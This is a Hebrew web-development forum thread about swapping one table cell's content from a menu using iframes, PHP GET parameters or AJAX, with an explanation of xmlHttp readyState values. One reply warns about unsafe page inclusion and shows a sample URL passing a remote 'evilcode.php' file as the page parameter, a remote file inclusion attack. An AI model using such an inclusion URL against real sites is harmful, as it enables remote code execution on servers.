![]() |
שאלה על MENU בטבלאות
תקשיבו נגיד אני מחלק את כל הדף לטבלא עם 2 עמודות
MENU ו CONTACT עכשיו אפשר לעשות שעם לינק בMENU רק הCONTACT ישתנה? |
כן .. אייפריים..
בתוך התא השני תוסיף קוד:
<iframe id="blabla" src="main.php" frameborder=0 width="xx" height="xx" בקישורים שנמאים ב menu תוסיף target="blabla" src="main.php" - זה העמוד הראשון שיעלה בתא השני(CONTACT) width,height - לא לשכוח להגדיר ע"פ התא(CONTACT) .. זהו :) |
אני רציתי לצאת מהמסגרות...
אני ניסיתי פעם ולא מתאים לי מסגרות... |
יש לי עוד דרך שהיא ממש שימושית במיוחד בשבילי.. אם אתה יודע PHP..
ע"י GET . אתה עושה קישורים לכל אחד מהתפריט הראשון לדוגמא page=1 אז רק התא השני משתנה כל פעם.. :) |
כן אבל אז אתה צריך לאבטח את זה
תחשוב מה קורה שאני עושה לך כזה דבר: קוד:
http://somedomain.com/index.php?page=http://mydomain.com/evilcode.php |
אז יש פתרון?
|
כן, אם אתה לא רוצה להשתמש ב IFRAME
אז תעשה עם JAVASCRIPT בכל מקרה אל תעשה את הדרך שאמיר הציע לך אלה אם אתה יודע לאבטח אותה כמו שצריך... |
כן איך אבל?
אולי תוכל להסביר לי איך אני עושה עם IFRAME וJS???
כי עם IFRAME הוא פותח כאילו חלון חדש וזה לא טוב לי |
ציטוט:
לחיצה על לינק בתפריט, תטען ב DIV של התוכן את העמוד שביקש הגולש בעזרת xmlHTTP צד לקוח. |
ציטוט:
מבנה SWITCH או IF פשוט פותר כל בעית אבטחה. |
לא
זה ממש לא עוזר לי...
אני רוצה שתא אחד בטבלא לא ישתנה והתא השני ישתנה בהתאם לתא הראשון |
ציטוט:
|
למה דרך IFRAME זה ייפתח בחלון חדש ? אם אתה עושה TARGET ואת השם של החלון
זה אמור להיות בלי בעיה בכל מקרה ELAD אני אשמח אם תדביק דוגמא שעובדת גם FF ו IE עבור XMLHTTP תודה. |
PHP קוד:
|
תקשיב אני פשוט לא רוצה חלונות נוספים...
|
ציטוט:
יש לך דף שמחולק סה"כ ל 2 - צד ימין DIV עם התפריט שלך צד שמאל DIV עם התוכן לחיצה על אחד מהלינקים בתפריט תטען ל DIV התוכן את העמוד המדובר.. או שפשוט לכל עמוד (page1, page2, page3 וכו'), תעשה include לתפריט.. |
אלעד, אתה יכול בבקשה להסביר את השורות האלה
if (self.oXmlHttp.readyState == 4) { fShowResult(self.oXmlHttp.responseText); } וגם , שאלה נוספת , איפה בתוך הפונקציה מוגדר השם של ה DIV שאמור להשתנות ? אתה יכול לתת דוגמא יותר מפורטת טיפה ? תודה. |
ציטוט:
0 - האובייקט נוצר אבל לא אותחל (עם מתודת open) 1 - האובייקט נוצר ואותחל אבל לא נשלחה עוד בקשה (עם send) 2 - שלחתי את הבקשה (עם send), אבל עדיין לא חזרו headers ונתונים 3 - חלק מהנתונים חזרו 4 - כל הנתונים התקבלו בחזרה בקטע הקוד שצירפת, קבעתי תנאי שבמידה וכל הנתונים התקבלו בחזרה רק אז תציג את ה DIV. אם תשים לב יש שם קריאה לפונקציה fShowResult שיכולה להיראות נניח משהו כזה: PHP קוד:
|
תותח אתה, תודה..
|
כל הזמנים הם GMT +2. הזמן כעת הוא 04:59. |
מופעל באמצעות VBulletin גרסה 3.8.6
כל הזכויות שמורות ©
כל הזכויות שמורות לסולל יבוא ורשתות (1997) בע"מ